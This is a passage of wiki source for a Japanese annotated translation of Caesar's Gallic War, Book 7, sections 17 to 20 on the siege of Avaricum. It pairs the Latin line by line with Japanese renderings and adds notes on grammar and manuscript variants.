**しかしながら、ローマ人民の威厳やかつての勝利にふさわしからぬ声は、彼らから何ら聞かれなかった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:vox#Latin|vox]] est &lt;u&gt;ab&lt;/u&gt; iis だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では &lt;u&gt;ex&lt;/u&gt; iis vox est となっている。）&lt;/span&gt;
:　
;　　　ローマ人将兵たちがカエサルに攻囲の継続を訴える
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:quin#Latin|Quin]] etiam Caesar cum in [[wikt:en:opus#Latin|opere]] [[wikt:en:singulus#Latin|singulas]] [[wikt:en:legio#Latin|legiones]] [[wikt:en:appellaret|appellaret]], 
**いやそればかりか、カエサルが作業中のそれぞれの[[w:ローマ軍団|軍団]]に呼びかけたとき、
*et, si [[wikt:en:acerbe#Latin|acerbius]] [[wikt:en:inopia#Latin|inopiam]] [[wikt:en:ferrent#Latin|ferrent]], se [[wikt:en:dimissurus#Latin|dimissurum]] &lt;span style=&quot;color:#009900;&quot;&gt;&lt;sub&gt;(esse)&lt;/sub&gt;&lt;/span&gt; [[wikt:en:oppugnatio#Latin|oppugnationem]] [[wikt:en:diceret|diceret]], 
**もし、とても過酷に欠乏に耐えているのならば、自分は攻囲を放棄するであろう、とカエサルが言っていたときに、
:　
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; [[wikt:en:universi#Latin|universi]] ab eo, ne id [[wikt:en:faceret|faceret]], [[wikt:en:petebant|petebant]] : 
**&lt;small&gt;（各軍団の）&lt;/small&gt;一同は、彼&lt;small&gt;〔カエサル〕&lt;/small&gt;に、それ&lt;small&gt;〔攻囲の放棄〕&lt;/small&gt;をしないように求めていた。
*sic se complures annos illo [[wikt:en:imperans#Latin|imperante]] [[wikt:en:meruisse|meruisse]], 
**自分たちは&lt;small&gt;（以下のように）&lt;/small&gt;幾年にもわたって彼&lt;small&gt;〔カエサル〕&lt;/small&gt;の麾下で努めてきた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：sic ～ ut …「…のように～である」）&lt;/span&gt;
*ut [[wikt:en:nullus#Determiner|nullam]] [[wikt:en:ignominia#Latin|ignominiam]] [[wikt:en:acciperent|acciperent]], &lt;u&gt;nusquam incepta&lt;/u&gt; re [[wikt:en:discederent|discederent]]: 
**何ら不名誉を蒙ってないし、事&lt;small&gt;〔戦役〕&lt;/small&gt;が完遂されないまま&lt;small&gt;（戦列を）&lt;/small&gt;離脱することは決してなかったのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:nusquam#Latin|nusquam]] [[wikt:en:inceptus#Latin|incepta]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:numquam#Latin|numquam]] [[wikt:en:infectus#Adjective|infecta]] となっている。）&lt;/span&gt;
:　
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; hoc se [[wikt:en:ignominia#Latin|ignominiae]] &lt;u&gt;loco [[wikt:en:laturus#Latin|laturos]]&lt;/u&gt; &lt;span style=&quot;color:#009900;&quot;&gt;&lt;sub&gt;(esse)&lt;/sub&gt;&lt;/span&gt;, si [[wikt:en:inceptus#Latin|inceptam]] [[wikt:en:oppugnatio#Latin|oppugnationem]] [[wikt:en:reliquissent|reliquissent]]; 
**もし&lt;small&gt;（自分たちが）&lt;/small&gt;着手した攻囲を放棄してしまったならば、自分たちはこの状態を不名誉と見なすであろう。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系写本では loco laturos の語順だが、&lt;br&gt;　　　　　　　　　&amp;alpha;系写本では laturos loco の語順となっている。）&lt;/span&gt;
:　
*&lt;!--❼--&gt;&lt;sup&gt;(7)&lt;/sup&gt; &lt;u&gt;praestare&lt;/u&gt; omnes [[wikt:en:perferre|perferre]] [[wikt:en:acerbitas#Latin|acerbitates]], 
**あらゆる厳しさに持ちこたえることは&lt;small&gt;（以下のこと）&lt;/small&gt;よりましである。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[wikt:en:praestare|praestare]] ～ [[wikt:en:quam#Adverb|quam]] …「…よりも～がより優る」）&lt;/span&gt;
*&lt;u&gt;quam&lt;/u&gt; non [[wikt:en:civis#Latin|civibus]] Romanis, qui [[wikt:en:Genabum#Latin|Cenabi]] [[wikt:en:perfidia#Latin|perfidia]] Gallorum [[wikt:en:interissent|interissent]], [[wikt:en:parentarent|parentarent]]. 
**ケナブムでガッリア人たちの不義により滅びたローマ市民たちの仇討ちをしないよりも。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[#3節|3節]]①項を参照。仇討ちをしないのなら、苦しむ方がましである、の意）&lt;/span&gt;
:　
*&lt;!--❽--&gt;&lt;sup&gt;(8)&lt;/sup&gt; Haec [[wikt:en:idem#Latin|eadem]] [[wikt:en:centurio#Latin|centurionibus]] [[wikt:en:tribunus#Latin|tribunis]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:miles#Latin|militum]] 
**これらと同じことを、&lt;ruby&gt;&lt;rb&gt;[[w:ケントゥリオ|百人隊長]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ケントゥリオ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちや&lt;ruby&gt;&lt;rb&gt;[[w:トリブヌス・ミリトゥム|兵士長官]]&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;トリブヌス・ミリトゥム&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちに、
*[[wikt:en:mandabant|mandabant]], ut per eos ad Caesarem [[wikt:en:deferrentur|deferrentur]].
**彼らを通じてカエサルに申し立てるように、依頼していた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===18節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/18節]]　{{進捗|00%|2026-04-13}}&lt;/span&gt;
;カエサルがウェルキンゲトリークス不在の敵陣へ迫る
:　
;　　　カエサルは、ウェルキンゲトリークスが糧秣の欠乏によりローマ勢の糧秣徴発隊を襲撃に向かったと知る
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; Cum iam [[wikt:en:murus#Latin|muro]] [[wikt:en:turris#Latin|turres]] [[wikt:en:adpropinquassent#Latin|adpropinquassent]], 
**すでに&lt;small&gt;（アウァーリクムの）&lt;/small&gt;城壁に&lt;small&gt;（ローマ勢の）&lt;/small&gt;[[w:攻城塔|攻城櫓]]が近づいていた際に、
*ex [[wikt:en:captivus#Noun|captivis]] Caesar [[wikt:en:cognovit#Latin|cognovit]], 
**カエサルは、捕虜たちから&lt;small&gt;（以下のことを）&lt;/small&gt;知った。
*[[wikt:en:Vercingetorix#Latin|Vercingetorigem]], [[wikt:en:consumptus#Latin|consumpto]] [[wikt:en:pabulum#Latin|pabulo]], 
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は[[w:糧秣|糧秣]]を消費し切ると、
*castra [[wikt:en:movisse#Latin|movisse]] propius [[wikt:en:Avaricum#Latin|Avaricum]], 
**陣営をアウァーリクムのより近くに移動させて、
*atque ipsum cum [[wikt:en:equitatus#Latin|equitatu]] [[wikt:en:expeditus#Noun|expeditis]]&lt;nowiki&gt;que&lt;/nowiki&gt;, qui inter [[wikt:en:eques#Latin|equites]] [[wikt:en:proeliari#Verb|proeliari]] [[wikt:en:consuessent#Latin|consuessent]], 
**彼自身は、[[w:騎兵|騎兵]]隊、および騎兵たちの間で争闘することに習熟していた[[w:軽装歩兵|軽装歩兵]]たちとともに、
*&lt;u&gt;insidiarum&lt;/u&gt; causa eo [[wikt:en:profectus#Etymology_3|profectum]], quo nostros postero die [[wikt:en:pabulatum#Verb|pabulatum]] [[wikt:en:venturus#Latin|venturos]] [[wikt:en:arbitraretur#Latin|arbitraretur]]. 
**我が方&lt;small&gt;〔ローマ勢〕&lt;/small&gt;が翌日に糧秣徴発にやって来るであろうと思われるところで待ち伏せするために、出発した、と。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:insidiarum|insidiarum]] だが、&lt;br&gt;　　　　　　　　　&amp;beta;系写本では [[wikt:en:insidiandi#Latin|insidiandi]] となっている。）&lt;/span&gt;

[[画像:AVARICUM Battaglia 52 aC.png|thumb|right|300px|アウァーリクム攻略戦の布陣図（&lt;small&gt;イタリア語&lt;/small&gt;）。中央がアウァーリクム（AVARICUM）、右下の赤枠内がカエサルと8個軍団の陣営、赤い矢印の先端がローマ軍の土塁。左上の楕円形がウェルキンゲトリークスが移動させた陣営。]]
[[画像:Funerary chariot in the archeological museum of Strasbourg.jpg|thumb|right|300px|[[w:ハルシュタット文化|ハルシュタット文化]]の墳墓の副葬品として発掘された '''四輪荷馬車''' のレプリカ（仏ストラスブール考古学博物館）。]]
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Quibus rebus [[wikt:en:cognitus#Participle|cognitis]] 
**&lt;small&gt;（カエサルは）&lt;/small&gt;それらの事情を知るや、
*media nocte [[wikt:en:silentium#Latin|silentio]] [[wikt:en:profectus#Etymology_3|profectus]] 
**真夜中の静けさのうちに出発して、
*ad hostium castra [[wikt:en:mane#Adverb_2|mane]] [[wikt:en:pervenit#Etymology_2|pervenit]]. 
**敵の陣営の辺りへ朝方に到着した。
:　
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; Illi, celeriter per [[wikt:en:explorator#Latin|exploratores]] [[wikt:en:adventus#Latin|adventu]] Caesaris [[wikt:en:cognitus#Participle|cognito]] 
**あの者たちは、速やかに斥候たちを通じてカエサルの到来を知るや、
*&lt;u&gt;carros&lt;/u&gt; [[wikt:en:impedimentum#Latin|impedimenta]]&lt;nowiki&gt;que&lt;/nowiki&gt; sua in [[wikt:en:artior#Latin|artiores]] [[wikt:en:silva#Latin|silvas]] [[wikt:en:abdiderunt#Latin|abdiderunt]], 
**自分たちの&lt;u&gt;四輪荷馬車&lt;/u&gt;と[[w:輜重|輜重]]をとても深い森の中に隠して、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：四輪荷馬車 [[wikt:en:carrus#Latin|carrus]] は、例えば右の画像のものを参照。）&lt;/span&gt;
*copias omnes in loco [[wikt:en:editus#Latin|edito]] atque [[wikt:en:apertus#Latin|aperto]] [[wikt:en:instruxerunt#Latin|instruxerunt]]. 
**全軍勢を高くそびえて開けている場所に配置した。
:　
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; Qua re [[wikt:en:nuntiatus#Latin|nuntiata]] 
**その事を報告されて、
*Caesar celeriter [[wikt:en:sarcina#Latin|sarcinas]] [[wikt:en:conferri#Latin|conferri]], 
**カエサルは速やかに&lt;small&gt;（兵士たちの）&lt;/small&gt;[[w:背嚢|背嚢]]が運び集められること、
*[[wikt:en:arma#Latin|arma]] [[wikt:en:expediri#Latin|expediri]] [[wikt:en:iussit#Verb|iussit]].
**武具が&lt;small&gt;（すぐ使えるように）&lt;/small&gt;整えられることを命じた。
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===19節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/19節]]　{{進捗|00%|2026-04-20}}&lt;/span&gt;
;丘の上のガッリア勢と沼沢を挟んで対峙する
:　
;　　　ガッリア勢の陣営の地勢
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:collis#Latin|Collis]] erat &lt;u&gt;leniter&lt;/u&gt; ab [[wikt:en:infimus#Latin|infimo]] [[wikt:en:adclivis#Latin|adclivis]]. 
**&lt;small&gt;（ガッリア勢がいる）&lt;/small&gt;丘陵はふもとから緩やかに、登り坂になっていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;beta;系･&amp;chi;系･B･M･S･N&lt;sup&gt;c&lt;/sup&gt; 写本では [[wikt:en:leviter#Latin|leviter]] 、&lt;br&gt;　　　　　　　　　L･N写本では [[wikt:en:breviter#Latin|breviter]] だが、&lt;br&gt;　　　　　　　　　より劣った写本 ''[[ガリア戦記/注解編/写本と校訂版#クリティカル・アパラトゥスとその略号|codd.deter.]]'' では [[wikt:en:leniter#Latin|leniter]] となっている。

*Hunc ex omnibus fere partibus [[wikt:en:palus#Latin|palus]] [[wikt:en:difficilis#Latin|difficilis]] atque [[wikt:en:impeditus#Latin|impedita]] [[wikt:en:cingebat#Latin|cingebat]] 
**これ&lt;small&gt;〔丘陵〕&lt;/small&gt;を、ほぼすべての方角から、不便で通りにくい沼地が取り巻いていて、
*non [[wikt:en:latior#Latin|latior]] [[wikt:en:pes#Latin|pedibus]] [[wikt:en:quinquaginta#Latin|quinquaginta]]. 
**&lt;small&gt;（その沼地は）&lt;/small&gt;50&lt;u&gt;[[w:ペース (長さ)|ペース]]&lt;/u&gt;より幅広くなかった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：1[[ガイウス・ユリウス・カエサルの著作/通貨・計量単位#ペース|ペース]]は約29.6cmで、50ペースは約15メートル弱。）&lt;/span&gt;
:　
;　　　丘の周囲を部族ごとに分かれて守備している
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; Hoc se [[wikt:en:collis#Latin|colle]] [[wikt:en:interruptus#Latin|interruptis]] [[wikt:en:pons#Latin|pontibus]] 
**この丘陵において、橋梁を破却すると、
*Galli [[wikt:en:fiducia#Latin|fiducia]] loci [[wikt:en:continebant#Latin|continebant]] 
**ガッリア人たちは、地勢を頼りに留まっていて、
*[[wikt:en:generatim#Latin|generatim]]&lt;nowiki&gt;que&lt;/nowiki&gt; [[wikt:en:distributus#Latin|distributi]] in civitates 
**&lt;small&gt;（軍勢を）&lt;/small&gt;諸部族の種族ごとに分けて配置させて、
*omnia [[wikt:en:vadum#Latin|vada]] ac [[wikt:en:saltus#Etymology_2|saltus]] eius [[wikt:en:palus#Latin|paludis]] &lt;u&gt;certis custodiis&lt;/u&gt; [[wikt:en:obtinebant#Latin|obtinebant]], 
**その沼地の、すべての浅瀬や隘路を &lt;u&gt;一定の護衛兵たちによって&lt;/u&gt; 占領していた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部の [[wikt:en:certus#Latin|certis]] [[wikt:en:custodia#Latin|custodiis]] は &amp;beta;系写本の記述で、&amp;alpha;系写本にはない。）&lt;/span&gt;
*&lt;u&gt;sic&lt;/u&gt; animo [[wikt:en:paratus#Latin|parati]] &lt;u&gt;ut&lt;/u&gt;, si eam [[wikt:en:palus#Latin|paludem]] Romani [[wikt:en:perrumpo#Latin|perrumpere]] [[wikt:en:conarentur#Latin|conarentur]], [[wikt:en:haesitans#Latin|haesitantes]] [[wikt:en:premerent#Latin|premerent]] ex loco [[wikt:en:superior#Latin|superiore]]; 
**もしローマ勢がその沼地を強行突破せんと試みたならば、ぐずぐずしている者らを高地から圧倒する心積もりであった。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:sic#Latin|sīc]] ～, [[wikt:en:ut#Latin|ut]] ･･･「…であるように～である」）&lt;/span&gt;
:　
;　　　両軍は互角か？
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; ut, qui [[wikt:en:propinquitas#Latin|propinquitatem]] loci [[wikt:en:videret#Latin|videret]], 
**&lt;small&gt;（両軍の）&lt;/small&gt;陣地が近接していることを見た者は、
*[[wikt:en:paratus#Latin|paratos]] prope [[wikt:en:aequus#Latin|aequo]] &lt;u&gt;Marte&lt;/u&gt; ad [[wikt:en:dimicandum#Latin|dimicandum]] [[wikt:en:existimaret#Latin|existimaret]], 
**&lt;small&gt;（ガッリア勢がローマ勢に対して）&lt;/small&gt;ほぼ互角の戦い&lt;small&gt;（の条件）&lt;/small&gt;で闘うつもりでいると考えただろう。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、[[wikt:en:Mars#Proper_noun_22|Mars]]「戦争の神マールス」ではなく、&lt;br&gt;　　　　　　　　　[[wikt:en:Mars#Noun_4|Mars]]「戦争、闘い」そのものを指す。）&lt;/span&gt;
;　　　ガッリア勢は不利なのに虚勢を張っているのか？
*qui [[wikt:en:iniquitas#Latin|iniquitatem]] [[wikt:en:condicio#Latin|condicionis]] [[wikt:en:perspiceret#Latin|perspiceret]], 
**&lt;small&gt;（ガッリア勢の）&lt;/small&gt;条件の不利なことを見通した者は、
*[[wikt:en:inanis#Latin|inani]] [[wikt:en:simulatio#Latin|simulatione]] sese [[wikt:en:ostentare#Latin|ostentare]] [[wikt:en:cognosceret#Latin|cognosceret]]. 
**&lt;small&gt;（ガッリア勢が）&lt;/small&gt;虚栄の見せかけで己を誇示していることを、理解しただろう。
:　
;　　　カエサルが、至近距離の敵への攻撃にいきり立つ将兵らを教え諭す
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:indignans#Latin|Indignantes]] [[wikt:en:miles#Latin|milites]] Gaesar, 
**カエサルは&lt;small&gt;（ガッリア勢の誇示に）&lt;/small&gt;憤慨している兵士たちに、
*quod [[wikt:en:conspectus#Noun_2|conspectum]] suum hostes &lt;u&gt;perferre&lt;/u&gt; [[wikt:en:possent#Latin|possent]] [[wikt:en:tantulus#Latin|tantulo]] [[wikt:en:spatium#Latin|spatio]] [[wikt:en:interiectus#Latin|interiecto]], 
**──というのも、これほどのわずかな距離しか介在してないのに、敵勢が自分らを&lt;small&gt;（平然と）&lt;/small&gt;見据えていられるためだが──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;alpha;系写本では [[wikt:en:perferre#Latin|perferre]] だが、&amp;beta;系写本では [[wikt:en:ferre#Latin|ferre]] となっている。）&lt;/span&gt;
*et signum proelii [[wikt:en:exposcens#Latin|exposcentes]] [[wikt:en:edocet#Latin|edocet]], 
**および戦闘の合図を熱心に求めている者たちに対して&lt;small&gt;（以下のように）&lt;/small&gt;説く。
*[[wikt:en:quantus#Latin|quanto]] [[wikt:en:detrimentum#Latin|detrimento]] et [[wikt:en:quot#Latin|quot]] [[wikt:en:vir#Latin|virorum]] [[wikt:en:fortis#Latin|fortium]] [[wikt:en:mors#Latin|morte]] [[wikt:en:necesse#Adverb|necesse]] sit [[wikt:en:constare#Latin|constare]] [[wikt:en:victoria#Latin|victoriam]]; 
**勝利を確実にすることが、どれほどの損害と、どれほど多くの勇敢な&lt;ruby&gt;&lt;rb&gt;兵士&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;ウィル&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;たちの死を必要とするか、を。

:　&lt;!--　[[wikt:en:|　--&gt;
;　　　多くのローマ兵が死に瀕すれば、カエサル自身が戦争犯罪で弾劾されるだろう
*&lt;!--❺--&gt;&lt;sup&gt;(5)&lt;/sup&gt; quos cum &lt;u&gt;sic&lt;/u&gt; [[wikt:en:animus#Latin|animo]] [[wikt:en:paratus#Latin|paratos]] [[wikt:en:videat#Latin|videat]], &lt;u&gt;ut&lt;/u&gt; [[wikt:en:nullus#Determiner|nullum]] pro sua [[wikt:en:laus#Latin|laude]] [[wikt:en:periculum#Latin|periculum]] [[wikt:en:recusent#Latin|recusent]], 
**彼ら&lt;small&gt;〔兵士たち〕&lt;/small&gt;が己の賞賛のためにいかなる危険をも辞さない心積もりであると&lt;small&gt;（カエサルは）&lt;/small&gt;見て取ったので、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:sic#Latin|sīc]] ～, [[wikt:en:ut#Latin|ut]] ･･･「…であるように～である」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：pro sua laude 「自らの賞賛のために」は、「カエサルの賞賛のために」と解することもできる。&lt;br&gt;　　　　しかし、共和制国家に忠誠を誓っているはずの兵士らが、カエサル個人のために命を投げ出そうとする記述は、&lt;br&gt;　　　　野心家カエサルが軍隊を私兵化しようとしている野望をさらけ出すことになり、政敵たちを利することになる。）&lt;/span&gt;
*[[wikt:en:summus#Latin|summae]] se [[wikt:en:iniquitas#Latin|iniquitatis]] [[wikt:en:condemnari#Latin|condemnari]] [[wikt:en:debere#Latin|debere]], [[wikt:en:nisi#Conjunction|nisi]] eorum [[wikt:en:vita#Latin|vitam]] sua [[wikt:en:salus#Latin|salute]] [[wikt:en:habeat#Latin|habeat]] [[wikt:en:carior#Latin|cariorem]]. 
**&lt;small&gt;&lt;/small&gt;彼ら&lt;small&gt;〔兵士〕&lt;/small&gt;の生命を己&lt;small&gt;〔カエサル〕&lt;/small&gt;の安全より貴重と思わない限り、自分&lt;small&gt;〔カエサル〕&lt;/small&gt;は極度の不正のために告発されるに違いない。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：すでにサビーヌスら多くのローマ市民が戦死しており、ここでさらに多くのローマ市民を死なせることは、&lt;br&gt;　　　　カエサルから軍隊を取り上げることを主張していた政敵たちから厳しく糾弾されることになったであろう。）&lt;/span&gt;

:　&lt;!--　[[wikt:en:|　--&gt;
*&lt;!--❻--&gt;&lt;sup&gt;(6)&lt;/sup&gt; Sic [[wikt:en:miles#Latin|milites]] [[wikt:en:consolatus#Latin|consolatus]] 
**&lt;small&gt;（カエサルは）&lt;/small&gt;このように兵士たちを&lt;ruby&gt;&lt;rb&gt;宥&lt;/rb&gt;&lt;rp&gt;（&lt;/rp&gt;&lt;rt&gt;なだ&lt;/rt&gt;&lt;rp&gt;）&lt;/rp&gt;&lt;/ruby&gt;めて、
*eodem die [[wikt:en:reducit#Latin|reducit]] in castra 
**同日に陣営の中に連れ戻して、
*[[wikt:en:reliquus#Latin|reliqua]]&lt;nowiki&gt;que&lt;/nowiki&gt; quae ad [[wikt:en:oppugnatio#Latin|oppugnationem]] &lt;u&gt;[[wikt:en:pertinebant#Latin|pertinebant]] [[wikt:en:oppidum#Latin|oppidi]]&lt;/u&gt; [[wikt:en:administrare#Latin|administrare]] [[wikt:en:instituit#Latin|instituit]].
**城塞都市&lt;small&gt;〔アウァーリクム〕&lt;/small&gt;の攻略に関わっているほかのことに従事することを決めた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：下線部は、&amp;chi;系･B･M･S写本では pertinebant oppidi の語順だが、&lt;br&gt;　　　　　　　　　L･N･β系写本では oppidi pertinebant の語順となっている。）&lt;/span&gt;
&lt;!--
&lt;span style=&quot;color:#009900;&quot;&gt;&lt;/span&gt;
&lt;small&gt;&lt;/small&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：
--&gt;

===20節===
*&lt;span style=&quot;background-color:#ffd;&quot;&gt;[[/注解/20節]]　{{進捗|00%|2026-05-04}}&lt;/span&gt;
;ウェルキンゲトリークスが味方に弁明し、捕虜に問い質す
:　
*&lt;!--❶--&gt;&lt;sup&gt;(1)&lt;/sup&gt; [[wikt:en:Vercingetorix#Latin|Vercingetorix]], cum ad suos [[wikt:en:redisset#Latin|redisset]], [[wikt:en:proditio#Latin|proditionis]] [[wikt:en:insimulatus#Latin|insimulatus]],
**[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は、味方のもとに戻った際に、&lt;small&gt;（以下のことで）&lt;/small&gt;裏切りだと非難されていた。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：以下、[[wikt:en:quod#Conjunction|quod]] ～ で箇条書き。）&lt;/span&gt;
*quod [[wikt:en:castra#Latin|castra]] [[wikt:en:propius#Latin|propius]] [[wikt:en:Romani#Latin|Romanos]] [[wikt:en:movisset#Latin|movisset]], 
**陣営をローマ人たちのより近くに移動させていたこと、
*quod cum omni [[wikt:en:equitatus#Noun|equitatu]] [[wikt:en:discessisset#Latin|discessisset]], 
**全[[w:騎兵|騎兵隊]]とともに&lt;small&gt;（陣営を）&lt;/small&gt;離れていたこと、
*quod sine [[wikt:en:imperium#Latin|imperio]] [[wikt:en:tantus#Latin|tantas]] [[wikt:en:copiae#Latin|copias]] [[wikt:en:reliquisset#Latin|reliquisset]], 
**司令権&lt;small&gt;（を持つ者）&lt;/small&gt;なしに、これほど多くの軍勢を置き去りにしていたこと、
*quod eius [[wikt:en:discessus#Noun|discessu]] [[wikt:en:Romani#Latin|Romani]] [[wikt:en:tantus#Latin|tanta]] [[wikt:en:opportunitas#Latin|opportunitate]] et [[wikt:en:celeritas#Latin|celeritate]] [[wikt:en:venissent#Latin|venissent]]; 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;の退去によりローマ人がこれほどの好機とこれほどの迅速さでやって来ていたこと、である。
:　
*&lt;!--❷--&gt;&lt;sup&gt;(2)&lt;/sup&gt; non haec omnia [[wikt:en:fortuito#Latin|fortuito]] aut sine [[wikt:en:consilium#Latin|consilio]] [[wikt:en:accido#Etymology_1|accidere]] [[wikt:en:potuisse#Latin|potuisse]]; 
**──これらすべてが偶然に、あるいは謀りごとなしに起こることはあり得なかったのだ。
*[[wikt:en:regnum#Latin|regnum]] illum Galliae &lt;u&gt;malle&lt;/u&gt; Caesaris [[wikt:en:concessus#Noun|concessu]] &lt;u&gt;quam&lt;/u&gt; ipsorum habere [[wikt:en:beneficium#Latin|beneficio]] 
**彼&lt;small&gt;〔ウェルキンゲトリークス〕&lt;/small&gt;は&lt;small&gt;（ガッリア人）&lt;/small&gt;自身の厚遇を得ることよりもむしろカエサルの許しにより[[w:ガリア|ガッリア]]の王権&lt;small&gt;（を持つこと）&lt;/small&gt;を好んでいるのだ。──
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[wikt:en:malle#Latin|malle]] ～ quam …「…よりも、むしろ～を好む（選ぶ）」）&lt;/span&gt;
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：ウェルキンゲトリークスが王権を望むあまり、同盟部族の生命をカエサルに売り渡したということである。）&lt;/span&gt;
[[画像:Vercingetorix_stater_n2_CdM_alternate.jpg|thumb|right|250px|[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]の横顔が刻まれたガッリアの金貨（パリの[[w:ビブリオテーク・ナショナル|仏国立図書館]]貨幣部蔵）]]
:　
;　　　━━ウェルキンゲトリークスの弁明が始まる━━
*&lt;!--❸--&gt;&lt;sup&gt;(3)&lt;/sup&gt; [[wikt:en:talis#Latin|tali]] [[wikt:en:modus#Latin|modo]] [[wikt:en:accusatus#Latin|accusatus]] 
**こんな風に非難されて、
*ad haec [[wikt:en:respondit#Latin|respondit]]: 
**&lt;small&gt;（ウェルキンゲトリークスは）&lt;/small&gt;これらのことへ答えた。
*Quod [[wikt:en:castra#Latin|castra]] [[wikt:en:movisset#Latin|movisset]], 
**陣営を移動させていたことは、
*[[wikt:en:factus#Latin|factum]] [[wikt:en:inopia#Latin|inopia]] [[wikt:en:pabulum#Latin|pabuli]], 
**[[w:糧秣|糧秣]]の欠乏によりなされたのであり、
*etiam ipsis [[wikt:en:hortans#Latin|hortantibus]]; 
**&lt;small&gt;（ガッリア人たち）&lt;/small&gt;自身が熱心に勧めることさえしているのだ。
*quod [[wikt:en:propius#Latin|propius]] [[wikt:en:Romani#Latin|Romanos]] [[wikt:en:accessisset#Latin|accessisset]], 
**ローマ人たちのより近くに近寄っていたことは、
*[[wikt:en:persuasus#Latin|persuasum]] loci [[wikt:en:opportunitas#Latin|opportunitate]], qui se &lt;u&gt;ipsum&lt;/u&gt; [[wikt:en:munitio#Latin|munitione]] [[wikt:en:defenderet#Latin|defenderet]]; 
**&lt;small&gt;（移動先の丘陵が）&lt;/small&gt;それ自体を&lt;small&gt;（沼地という天然の）&lt;/small&gt;要害により守っているという地の利に納得させられたのだ。
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：上記の se &lt;u&gt;ipsum&lt;/u&gt; munitione defenderet 「そのものを防御物によって守る」は主要写本 &amp;omega; の記述で、&lt;br&gt;''[[ガリア戦記/注解編/写本と校訂版#Bentley,_Thomas|Th. Bentley]]'' は se &lt;u&gt;ipse sine&lt;/u&gt; munitione defenderet 「そのものが防御物なしで守る」と修正提案している。）&lt;/span&gt;
:　
;　　　騎兵は、湿地帯での任務に適していない
*&lt;!--❹--&gt;&lt;sup&gt;(4)&lt;/sup&gt; [[wikt:en:eques#Latin|equitum]] vero [[wikt:en:opera#Latin|operam]] 
**騎兵たちの働きはまさに、
*neque in loco [[wikt:en:paluster#Latin|palustri]] [[wikt:en:desiderari#Latin|desiderari]] [[wikt:en:debuisse#Latin|debuisse]] 
**沼沢地において望まれるべきものではなかったし、
